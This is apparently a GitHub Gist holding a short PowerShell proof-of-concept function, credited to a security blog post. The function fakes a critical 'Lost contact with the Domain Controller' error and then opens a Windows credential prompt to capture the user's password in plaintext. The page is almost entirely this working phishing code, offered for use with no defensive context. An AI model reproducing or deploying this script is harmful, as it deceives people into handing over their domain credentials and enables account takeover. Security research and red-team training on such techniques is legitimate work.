Last active
August 31, 2022 17:25
-
-
Save HarmJ0y/868b64dcf3d10d0d2529 to your computer and use it in GitHub Desktop.
prompt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Stolen/adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ | |
# POC from greg.foss[at]owasp.org | |
function prompt { | |
Add-Type -AssemblyName Microsoft.VisualBasic | |
[Microsoft.VisualBasic.Interaction]::MsgBox('Lost contact with the Domain Controller.', 'OKOnly,MsgBoxSetForeground,SystemModal,Critical', 'ERROR - 0xA801B720') | |
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name | |
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName") | |
$c + ":" + $credential.GetNetworkCredential().password | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment